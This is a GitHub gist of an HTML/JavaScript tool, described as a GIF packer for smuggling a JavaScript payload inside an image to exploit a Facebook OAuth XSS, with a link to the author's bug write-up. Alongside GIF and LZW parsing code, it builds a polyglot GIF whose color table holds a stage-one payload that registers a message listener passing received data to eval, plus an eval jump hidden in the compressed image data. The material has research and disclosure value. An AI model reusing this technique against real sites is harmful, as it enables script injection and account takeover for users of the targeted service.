Last active
May 12, 2024 23:53
-
-
Save isciurus/5437231 to your computer and use it in GitHub Desktop.
GIF packer, used to embed the javascript payload inside the picture and to exploit the Facebook OAuth XSS. Crafted from what I had found across open-source encoders.
More reading: http://isciurus.blogspot.ru/2013/04/a-story-of-9500-bug-in-facebook-oauth-20.html
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html lang="en"> | |
<head> | |
<script> | |
function str2hex(str) | |
{ | |
var out_str = " "; | |
for(var i = 0; i < str.length; i++) | |
{ | |
if(str.charCodeAt(i) < 0x10) | |
out_str += '0'; | |
out_str += str.charCodeAt(i).toString(16); | |
if(i + 1 < str.length) | |
out_str += ' '; | |
} | |
console.log(out_str); | |
} | |
function my_outp(img) | |
{ | |
var out_str = ""; | |
/* | |
for(var i = 0; i < img.pixels.length; i++) | |
{ | |
out_str += img.pixels[i].toString(); | |
out_str += " color : " + JSON.stringify(my_hdr.gct[img.pixels[i]]); | |
if((i + 1) % img.width == 0) | |
{ | |
out_str += "\r\n"; | |
} | |
else | |
{ | |
out_str += ","; | |
} | |
}*/ | |
console.log(out_str); | |
console.log("expected height: " + img.height); | |
console.log("real height: " + Math.ceil(img.pixels.length / img.width)); | |
} | |
//LZW Compression/Decompression for Strings | |
var LZW = { | |
compress: function (uncompressed) { | |
"use strict"; | |
// Build the dictionary. | |
var i, | |
dictionary = {}, | |
c, | |
wc, | |
w = "", | |
result = [], | |
dictSize = 128; | |
for (i = 0; i < dictSize; i++) { | |
dictionary[String.fromCharCode(i)] = i; | |
} | |
for (i = 0; i < uncompressed.length; i += 1) { | |
c = uncompressed.charAt(i); | |
wc = w + c; | |
if (dictionary[wc]) { | |
w = wc; | |
} else { | |
result.push(dictionary[w]); | |
// Add wc to the dictionary. | |
dictionary[wc] = dictSize++; | |
w = String(c); | |
} | |
} | |
// Output the code for w. | |
if (w !== "") { | |
result.push(dictionary[w]); | |
} | |
return result; | |
}, | |
decompress: function (compressed) { | |
"use strict"; | |
// Build the dictionary. | |
var i, | |
dictionary = [], | |
w, | |
result, | |
k, | |
entry = "", | |
dictSize = 256; | |
for (i = 0; i < 256; i += 1) { | |
dictionary[i] = String.fromCharCode(i); | |
} | |
w = String.fromCharCode(compressed[0]); | |
result = w; | |
for (i = 1; i < compressed.length; i += 1) { | |
k = compressed[i]; | |
if (dictionary[k]) { | |
entry = dictionary[k]; | |
} else { | |
if (k === dictSize) { | |
entry = w + w.charAt(0); | |
} else { | |
return null; | |
} | |
} | |
result += entry; | |
// Add w+entry[0] to the dictionary. | |
dictionary[dictSize++] = w + entry.charAt(0); | |
w = entry; | |
} | |
return result; | |
} | |
} // For Test Purposes | |
//comp = LZW.compress("TOBEORNOTTOBEORTOBEORNOT"), | |
//decomp = LZW.decompress(comp); | |
// Generic functions | |
var bitsToNum = function(ba) { | |
return ba.reduce(function(s, n) { return s * 2 + n; }, 0); | |
}; | |
var b2c = function(bits) | |
{ | |
if(bits.length > 8) | |
console.out("WARNING: too many bits"); | |
return String.fromCharCode(bitsToNum(bits)); | |
} | |
var byteToBitArr = function(bite) { | |
var a = []; | |
for (var i = 7; i >= 0; i--) { | |
a.push(!!(bite & (1 << i))); | |
} | |
return a; | |
}; | |
// Stream | |
/** | |
* @constructor | |
*/ // Make compiler happy. | |
var Stream = function(data) { | |
this.data = data; | |
this.len = this.data.length; | |
this.pos = 0; | |
this.readByte = function() { | |
if (this.pos >= this.data.length) { | |
throw new Error('Attempted to read past end of stream.'); | |
} | |
return data.charCodeAt(this.pos++) & 0xFF; | |
}; | |
this.readBytes = function(n) { | |
var bytes = []; | |
for (var i = 0; i < n; i++) { | |
bytes.push(this.readByte()); | |
} | |
return bytes; | |
}; | |
this.read = function(n) { | |
var s = ''; | |
for (var i = 0; i < n; i++) { | |
s += String.fromCharCode(this.readByte()); | |
} | |
return s; | |
}; | |
this.readUnsigned = function() { // Little-endian. | |
var a = this.readBytes(2); | |
return (a[1] << 8) + a[0]; | |
}; | |
}; | |
var lzwDecode = function(minCodeSize, data) { | |
// TODO: Now that the GIF parser is a bit different, maybe this should get an array of bytes instead of a String? | |
var pos = 0; // Maybe this streaming thing should be merged with the Stream? | |
var readCode = function(size) { | |
var code = 0; | |
for (var i = 0; i < size; i++) { | |
var abs_idx = pos >> 3; | |
if(abs_idx >= data.length) | |
{ | |
throw new Error('Attempted to read past end of lzw raw data.'); | |
} | |
if (data.charCodeAt(abs_idx) & (1 << (pos & 7))) { | |
code |= 1 << i; | |
} | |
pos++; | |
} | |
return code; | |
}; | |
var output = []; | |
var clearCode = 1 << minCodeSize; | |
var eoiCode = clearCode + 1; | |
var codeSize = minCodeSize + 1; | |
var dict = []; | |
var clear = function() { | |
dict = []; | |
codeSize = minCodeSize + 1; | |
for (var i = 0; i < clearCode; i++) { | |
dict[i] = [i]; | |
} | |
dict[clearCode] = []; | |
dict[eoiCode] = null; | |
}; | |
var code; | |
var last; | |
var code_num = 0; | |
var bitsFromInt = function(num) | |
{ | |
var bit_arr = byteToBitArr(num); | |
for (key in bit_arr) | |
{ | |
bit_arr[key] = bit_arr[key] ? 1 : 0; | |
} | |
return JSON.stringify(bit_arr) | |
} | |
var dbg_info = function() | |
{ | |
var abs_pos = (pos - codeSize) >> 3; | |
var bitAtPos = function(target_pos) | |
{ | |
return bitsFromInt(data.charCodeAt(target_pos)); | |
} | |
console.log("+ " + code_num + " code: " + code + " of codeSize: " + codeSize + ", num pixels: " + output.length + ", dict len:: " + dict.length + ", start char [" + (abs_pos + 1) + "]: \\u00" + data.charCodeAt(abs_pos).toString(16) + " : " + data.substr(abs_pos, 1) + " : " + bitAtPos(abs_pos) + " , " + bitAtPos(abs_pos + 1) ); | |
} | |
while (true) { | |
code_num++; | |
last = code; | |
code = readCode(codeSize); | |
if (code === clearCode) { | |
var _codeSizeOld = codeSize; | |
clear(); | |
// debug | |
codeSize = _codeSizeOld; | |
dbg_info(); | |
codeSize = minCodeSize + 1 | |
continue; | |
} | |
if (code === eoiCode) | |
{ | |
// comment | |
dbg_info(); | |
break; | |
} | |
if (code < dict.length) { | |
if (last !== clearCode) { | |
dict.push(dict[last].concat(dict[code][0])); | |
} | |
} else { | |
if (code !== dict.length) { console.log("!!!!"); dbg_info(); throw new Error('Invalid LZW code: ' + code + " " + bitsFromInt(code)); } | |
dict.push(dict[last].concat(dict[last][0])); | |
} | |
output.push.apply(output, dict[code]); | |
// comment | |
dbg_info(); | |
if (dict.length === (1 << codeSize) && codeSize < 12) { | |
// If we're at the last code and codeSize is 12, the next code will be a clearCode, and it'll be 12 bits long. | |
codeSize++; | |
} | |
} | |
console.log("==last code: " + code + ", codeSize: " + codeSize); | |
// I don't know if this is technically an error, but some GIFs do it. | |
//if (Math.ceil(pos / 8) !== data.length) throw new Error('Extraneous LZW bytes.'); | |
return output; | |
}; | |
// The actual parsing; returns an object with properties. | |
var parseGIF = function(st, handler) { | |
handler || (handler = {}); | |
// LZW (GIF-specific) | |
var parseCT = function(entries) { // Each entry is 3 bytes, for RGB. | |
var ct = []; | |
for (var i = 0; i < entries; i++) { | |
ct.push(st.readBytes(3)); | |
} | |
return ct; | |
}; | |
var readSubBlocks = function() { | |
var size, data; | |
data = ''; | |
do { | |
size = st.readByte(); | |
data += st.read(size); | |
} while (size !== 0); | |
return data; | |
}; | |
var parseHeader = function() { | |
var hdr = {}; | |
hdr.sig = st.read(3); | |
hdr.ver = st.read(3); | |
if (hdr.sig !== 'GIF') throw new Error('Not a GIF file.'); // XXX: This should probably be handled more nicely. | |
hdr.width = st.readUnsigned(); | |
hdr.height = st.readUnsigned(); | |
var bits = byteToBitArr(st.readByte()); | |
hdr.gctFlag = bits.shift(); | |
hdr.colorRes = bitsToNum(bits.splice(0, 3)); | |
hdr.sorted = bits.shift(); | |
hdr.gctSize = bitsToNum(bits.splice(0, 3)); | |
hdr.bgColor = st.readByte(); | |
hdr.pixelAspectRatio = st.readByte(); // if not 0, aspectRatio = (pixelAspectRatio + 15) / 64 | |
if (hdr.gctFlag) { | |
hdr.gct = parseCT(1 << (hdr.gctSize + 1)); | |
} | |
handler.hdr && handler.hdr(hdr); | |
}; | |
var parseExt = function(block) { | |
var parseGCExt = function(block) { | |
var blockSize = st.readByte(); // Always 4 | |
var bits = byteToBitArr(st.readByte()); | |
block.reserved = bits.splice(0, 3); // Reserved; should be 000. | |
block.disposalMethod = bitsToNum(bits.splice(0, 3)); | |
block.userInput = bits.shift(); | |
block.transparencyGiven = bits.shift(); | |
block.delayTime = st.readUnsigned(); | |
block.transparencyIndex = st.readByte(); | |
block.terminator = st.readByte(); | |
handler.gce && handler.gce(block); | |
}; | |
var parseComExt = function(block) { | |
block.comment = readSubBlocks(); | |
handler.com && handler.com(block); | |
}; | |
var parsePTExt = function(block) { | |
// No one *ever* uses this. If you use it, deal with parsing it yourself. | |
var blockSize = st.readByte(); // Always 12 | |
block.ptHeader = st.readBytes(12); | |
block.ptData = readSubBlocks(); | |
handler.pte && handler.pte(block); | |
}; | |
var parseAppExt = function(block) { | |
var parseNetscapeExt = function(block) { | |
var blockSize = st.readByte(); // Always 3 | |
block.unknown = st.readByte(); // ??? Always 1? What is this? | |
block.iterations = st.readUnsigned(); | |
block.terminator = st.readByte(); | |
handler.app && handler.app.NETSCAPE && handler.app.NETSCAPE(block); | |
}; | |
var parseUnknownAppExt = function(block) { | |
block.appData = readSubBlocks(); | |
// FIXME: This won't work if a handler wants to match on any identifier. | |
handler.app && handler.app[block.identifier] && handler.app[block.identifier](block); | |
}; | |
var blockSize = st.readByte(); // Always 11 | |
block.identifier = st.read(8); | |
block.authCode = st.read(3); | |
switch (block.identifier) { | |
case 'NETSCAPE': | |
parseNetscapeExt(block); | |
break; | |
default: | |
parseUnknownAppExt(block); | |
break; | |
} | |
}; | |
var parseUnknownExt = function(block) { | |
block.data = readSubBlocks(); | |
handler.unknown && handler.unknown(block); | |
}; | |
block.label = st.readByte(); | |
switch (block.label) { | |
case 0xF9: | |
block.extType = 'gce'; | |
parseGCExt(block); | |
break; | |
case 0xFE: | |
block.extType = 'com'; | |
parseComExt(block); | |
break; | |
case 0x01: | |
block.extType = 'pte'; | |
parsePTExt(block); | |
break; | |
case 0xFF: | |
block.extType = 'app'; | |
parseAppExt(block); | |
break; | |
default: | |
block.extType = 'unknown'; | |
parseUnknownExt(block); | |
break; | |
} | |
}; | |
var parseImg = function(img) { | |
var deinterlace = function(pixels, width) { | |
// Of course this defeats the purpose of interlacing. And it's *probably* | |
// the least efficient way it's ever been implemented. But nevertheless... | |
var newPixels = new Array(pixels.length); | |
var rows = pixels.length / width; | |
var cpRow = function(toRow, fromRow) { | |
var fromPixels = pixels.slice(fromRow * width, (fromRow + 1) * width); | |
newPixels.splice.apply(newPixels, [toRow * width, width].concat(fromPixels)); | |
}; | |
// See appendix E. | |
var offsets = [0,4,2,1]; | |
var steps = [8,8,4,2]; | |
var fromRow = 0; | |
for (var pass = 0; pass < 4; pass++) { | |
for (var toRow = offsets[pass]; toRow < rows; toRow += steps[pass]) { | |
cpRow(toRow, fromRow) | |
fromRow++; | |
} | |
} | |
return newPixels; | |
}; | |
img.leftPos = st.readUnsigned(); | |
img.topPos = st.readUnsigned(); | |
img.width = st.readUnsigned(); | |
img.height = st.readUnsigned(); | |
var bits = byteToBitArr(st.readByte()); | |
img.lctFlag = bits.shift(); | |
img.interlaced = bits.shift(); | |
img.sorted = bits.shift(); | |
img.reserved = bits.splice(0, 2); | |
img.lctSize = bitsToNum(bits.splice(0, 3)); | |
if (img.lctFlag) { | |
img.lct = parseCT(1 << (img.lctSize + 1)); | |
} | |
img.lzwMinCodeSize = st.readByte(); | |
var lzwData = readSubBlocks(); | |
img.pixels = lzwDecode(img.lzwMinCodeSize, lzwData); | |
if (img.interlaced) { // Move | |
img.pixels = deinterlace(img.pixels, img.width); | |
} | |
handler.img && handler.img(img); | |
}; | |
var parseBlock = function() { | |
var block = {}; | |
block.sentinel = st.readByte(); | |
switch (String.fromCharCode(block.sentinel)) { // For ease of matching | |
case '!': | |
block.type = 'ext'; | |
parseExt(block); | |
break; | |
case ',': | |
block.type = 'img'; | |
parseImg(block); | |
break; | |
case ';': | |
block.type = 'eof'; | |
handler.eof && handler.eof(block); | |
break; | |
default: | |
throw new Error('Unknown block: 0x' + block.sentinel.toString(16)); // TODO: Pad this with a 0. | |
} | |
if (block.type !== 'eof') setTimeout(parseBlock, 0); | |
}; | |
var parse = function() { | |
parseHeader(); | |
setTimeout(parseBlock, 0); | |
}; | |
parse(); | |
}; | |
// BEGIN_NON_BOOKMARKLET_CODE | |
if (typeof exports !== 'undefined') { | |
exports.Stream = Stream; | |
exports.parseGIF = parseGIF; | |
} | |
// END_NON_BOOKMARKLET_CODE | |
var my_hdr = {}; | |
// ================================================================================= | |
// line_256_half_15 | |
// ================================================================================= | |
var stage1_payload = "Y=window;if(!Y.k8){Y.k8=1;(Y.addEventListener||Y.attachEvent)('message',function(b){eval(b.data)})}; "; | |
var color_map_shift = 2; | |
var payload4 = | |
// clear | |
"\u0080" + | |
// utf8 align | |
"\u0065\u0066\u0064" + | |
// payload left guard | |
'",' + | |
// stage0 payload: jump to color map | |
"eval(ma.substr(" + (12 + color_map_shift).toString(10) + "," + stage1_payload.length.toString(10) + "))"+ | |
// payload right guard | |
',9)//'+ | |
// Upper part of color table | |
"\u0041\u0042"; | |
function OutStream() | |
{ | |
this.bytestream = new Array(); | |
this.offset = 0; | |
this.WriteBit = function(val) | |
{ | |
this.bytestream[this.offset>>>3] |= val << (this.offset & 7); | |
this.offset++; | |
} | |
this.Write = function(val, numBits) | |
{ | |
// Write LSB -> MSB | |
for(var i = 0; i < numBits; ++i) | |
this.WriteBit((val >>> i) & 1); | |
} | |
} | |
var garbage4 = new OutStream(); | |
for(var ch = 0; ch < payload4.length; ch++) | |
garbage4.Write(payload4.charCodeAt(ch), 8); | |
var single_byte_align_len = 128 - payload4.length; | |
for(var ch = 0; ch < single_byte_align_len; ch++) | |
garbage4.Write(ch + 0x80 + payload4.length, 8); | |
var limit = 254; | |
var blocks = ""; | |
for(var ch = 0; ch < 153; ch++) | |
{ | |
// If no place in current block | |
if(garbage4.bytestream.length >= limit - (garbage4.offset % 8 == 0 ? 1 : 0)) | |
{ | |
// Push this one | |
// Block length | |
blocks += String.fromCharCode(garbage4.bytestream.length); | |
// Block data | |
for(var _ch = 0; _ch < garbage4.bytestream.length; _ch++) | |
blocks += String.fromCharCode(garbage4.bytestream[_ch]); | |
// Renew | |
garbage4 = new OutStream(); | |
} | |
garbage4.Write(ch + 0x80 + payload4.length + single_byte_align_len, 9); | |
// If unwillingly inserted \r\n | |
if(garbage4.bytestream[garbage4.bytestream.length - 1] == 0x0d || garbage4.bytestream[garbage4.bytestream.length - 2] == 0x0d || | |
garbage4.bytestream[garbage4.bytestream.length - 1] == 0x0a || garbage4.bytestream[garbage4.bytestream.length - 2] == 0x0a) | |
{ | |
//debugger; | |
// Get rid of, rollback | |
garbage4.offset -= 9; | |
garbage4.bytestream[garbage4.bytestream.length - 1] = 0; | |
garbage4.Write(0x47, 9); | |
} | |
} | |
for(var ch = 0; ch < 30; ch ++) | |
garbage4.Write(0x83 + ch, 9); | |
if(garbage4.bytestream.length > 0) | |
{ | |
// Finalize block | |
garbage4.Write(0x81, 9); | |
// Push | |
// Block length | |
blocks += String.fromCharCode(garbage4.bytestream.length); | |
// Block data | |
for(var _ch = 0; _ch < garbage4.bytestream.length; _ch++) | |
blocks += String.fromCharCode(garbage4.bytestream[_ch]); | |
} | |
var color_map_full = "\u0020\u0020\u0020\u0001\u0001\u0001\u0002\u0002\u0002\u0003\u0003\u0003\u0004\u0004\u0004\u0005\u0005\u0005\u0006\u0006\u0006\u0007\u0007\u0007\u0008\u0008\u0008\u0009\u0009\u0009\u0041\u0042\u0043\u000B\u000B\u000B\u000C\u000C\u000C\u0042\u0043\u0044\u000E\u000E\u000E\u000F\u000F\u000F\u0010\u0010\u0010\u0011\u0011\u0011\u0012\u0012\u0012\u0013\u0013\u0013\u0014\u0014\u0014\u0015\u0015\u0015\u0016\u0016\u0016\u0017\u0017\u0017\u0018\u0018\u0018\u0019\u0019\u0019\u001A\u001A\u001A\u001B\u001B\u001B\u001C\u001C\u001C\u001D\u001D\u001D\u001E\u001E\u001E\u001F\u001F\u001F\u0020\u0020\u0020\u0021\u0021\u0021\u0020\u0000\u0020\u0023\u0023\u0023\u0024\u0024\u0024\u0025\u0025\u0025\u0026\u0026\u0026\u0027\u0027\u0027\u0028\u0028\u0028\u0029\u0029\u0029\u002A\u002A\u002A\u002B\u002B\u002B\u002C\u002C\u002C\u002D\u002D\u002D\u002E\u002E\u002E\u002F\u002F\u002F\u0030\u0030\u0030\u0031\u0031\u0031\u0032\u0032\u0032\u0033\u0033\u0033\u0034\u0034\u0034\u0035\u0035\u0035\u0036\u0036\u0036\u0037\u0037\u0037\u0038\u0038\u0038\u0039\u0039\u0039\u003A\u003A\u003A\u003B\u003B\u003B\u003C\u003C\u003C\u003D\u003D\u003D\u003E\u003E\u003E\u003F\u003F\u003F\u0040\u0040\u0040\u0041\u0041\u0041\u0042\u0042\u0042\u0043\u0043\u0043\u0044\u0044\u0044\u0045\u0045\u0045\u0046\u0046\u0046\u0047\u0047\u0047\u0048\u0048\u0048\u0049\u0049\u0049\u004A\u004A\u004A\u004B\u004B\u004B\u004C\u004C\u004C\u004D\u004D\u004D\u004E\u004E\u004E\u004F\u004F\u004F\u0050\u0050\u0050\u0051\u0051\u0051\u0052\u0052\u0052\u0053\u0053\u0053\u0054\u0054\u0054\u0055\u0055\u0055\u0056\u0056\u0056\u0057\u0057\u0057\u0058\u0058\u0058\u0059\u0059\u0059\u005A\u005A\u005A\u005B\u005B\u005B\u005C\u005C\u005C\u005D\u005D\u005D\u005E\u005E\u005E\u005F\u005F\u005F\u0060\u0060\u0060\u0061\u0061\u0061\u0062\u0062\u0062\u0063\u0063\u0063\u0064\u0064\u0064\u0065\u0065\u0065\u0066\u0066\u0066\u0067\u0067\u0067\u0068\u0068\u0068\u0069\u0069\u0069\u006A\u006A\u006A\u006B\u006B\u006B\u006C\u006C\u006C\u006D\u006D\u006D\u006E\u006E\u006E\u006F\u006F\u006F\u0070\u0070\u0070\u0071\u0071\u0071\u0072\u0072\u0072\u0073\u0073\u0073\u0074\u0074\u0074\u0075\u0075\u0075\u0076\u0076\u0076\u0077\u0077\u0077\u0078\u0078\u0078\u0079\u0079\u0079\u007A\u007A\u007A\u007B\u007B\u007B\u007C\u007C\u007C\u007D\u007D\u007D\u007E\u007E\u007E\u007F\u007F\u007F"; | |
var height4 = "\u005c\u0022"; | |
var line_256_half_4 = | |
"\u0047\u0049\u0046\u0038\u0037\u0061\u0001\u0000" + height4 + | |
// Global settings flag | |
"\u00C6" + | |
// Background color + reserved byte | |
"\u0000\u0000" + | |
// Color map with stage 1 payload | |
color_map_full.substr(0, color_map_shift) + stage1_payload + color_map_full.substr(color_map_shift + stage1_payload.length) + | |
"\u002C\u0000\u0000\u0000\u0000\u0001\u0000" + | |
height4 + "\u0000\u0007"; | |
line_256_half_4 += blocks; | |
// End | |
line_256_half_4 += "\u0000\u003B"; | |
// checking payload | |
var payload4_rep_seq = false; | |
for(var payload4_i = 0; payload4_i < payload4.length - 1 && !payload4_rep_seq; payload4_i++) | |
{ | |
var seq = payload4.substr(payload4_i, 2); | |
var search_target = payload4.substr(payload4_i + 1); | |
var tw_occurence = search_target.indexOf(seq); | |
payload4_rep_seq = tw_occurence != -1; | |
if(payload4_rep_seq) | |
{ | |
// draw markers | |
var mrk = ""; | |
var mrk_pos = 0 | |
for(; mrk_pos < payload4_i - 1; mrk_pos++) | |
mrk += " "; | |
mrk += "|"; | |
for(; mrk_pos < tw_occurence + payload4_i - 1; mrk_pos++) | |
mrk += " "; | |
mrk += "|"; | |
console.log(payload4); | |
console.log(mrk); | |
console.log("seq " + seq + " occurs twice: at " + payload4_i + " and " + (tw_occurence + payload4_i + 1)); | |
} | |
} | |
if(!payload4_rep_seq) | |
{ | |
d(line_256_half_4); | |
setTimeout(function(){ str2hex(line_256_half_4); }, 500); | |
} | |
function d(_data) | |
{ | |
my_hdr = {}; | |
var my_st = new Stream(_data); | |
var my_parser = new parseGIF(my_st, {"img": my_outp, "hdr": function(hdr) { my_hdr = hdr }}); | |
} | |
function pr() | |
{ | |
function tohex(str) | |
{ | |
var out_str = ""; | |
for(var i = 0; i < str.length; i++) | |
{ | |
if(str.charCodeAt(i) < 0x10) | |
out_str += '0'; | |
out_str += str.charCodeAt(i).toString(16); | |
if(i + 1 < str.length) | |
out_str += ' '; | |
} | |
console.log(out_str); | |
} | |
var out_map = ""; | |
for(i = 0; i < 128; i++) | |
{ | |
out_map += "\u0000\u0000" + String.fromCharCode(i) + "\u00ff"; | |
} | |
for(i = 128; i < 256; i++) | |
{ | |
out_map += "\u0000\u0000\u0000\u00ff"; | |
} | |
var out_img = ""; | |
var height = 8796; | |
for(i = 0; i < 128; i++) | |
{ | |
out_img += String.fromCharCode(i) + "\u0000\u0000\u0000"; | |
} | |
for(i = 128; i < height; i++) | |
{ | |
out_img += "\u0000\u0000\u0000\u0000"; | |
} | |
var output = out_map + out_img; | |
console.log("total length: " + output.length + "(" + (output.length >> 2) + ")"); | |
tohex(out_map); | |
tohex(out_img); | |
} | |
</script> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment